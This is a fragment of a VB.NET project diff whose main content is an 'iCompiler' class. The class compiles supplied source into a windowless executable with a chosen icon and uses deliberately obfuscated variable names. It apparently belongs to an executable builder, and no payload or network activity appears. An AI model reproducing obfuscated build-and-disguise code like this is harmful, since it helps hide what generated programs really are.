<CustomToolNamespace>My</CustomToolNamespace>
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<ItemGroup>
<None Include="Resources\source.txt" />
</ItemGroup>
<ItemGroup>
<Content Include="favicon.ico" />
<None Include="Resources\images.jpg" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="utf-8"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="14.0" />
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

@@ -0,0 +1,39 @@
Imports System.CodeDom.Compiler
Public Class iCompiler
Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Icon As String)
On Error Resume Next
Dim uyghfy7tegyuhf7egyufh7y4uy7tg64yhf764y As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
Dim jhgbnuyehufhgy3ebnfuyb3tghbjnwuye As New CompilerParameters()
Dim fhbenmigf7y4unmig76yt4hugjhybhn As CompilerResults
jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.GenerateExecutable = True
jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.OutputAssembly = Output
jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.CompilerOptions = "/target:winexe"
jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.ReferencedAssemblies.Add("System.dll")
jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.ReferencedAssemblies.Add("System.Data.dll")
Dim Version = New Dictionary(Of String, String)
Version.Add("CompilerVersion", "v2.0")
jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.CompilerOptions = "/filealign:0x00200 /optimize+ /platform:X86 /debug- /target:winexe"
Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"
If Icon <> "" Then
IO.File.Copy(Icon, ICO)
jhgbnuyehufhgy3ebnfuyb3tghbjnwuye.CompilerOptions &= " /win32icon:" & ICO
End If
fhbenmigf7y4unmig76yt4hugjhybhn = uyghfy7tegyuhf7egyufh7y4uy7tg64yhf764y.CompileAssemblyFromSource(jhgbnuyehufhgy3ebnfuyb3tghbjnwuye, Source)
If fhbenmigf7y4unmig76yt4hugjhybhn.Errors.Count > 0 Then
For Each CompilerError In fhbenmigf7y4unmig76yt4hugjhybhn.Errors
MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
Next
ElseIf fhbenmigf7y4unmig76yt4hugjhybhn.Errors.Count = 0 Then
End If
If Icon <> "" Then : IO.File.Delete(ICO) : End If
End Sub
End Class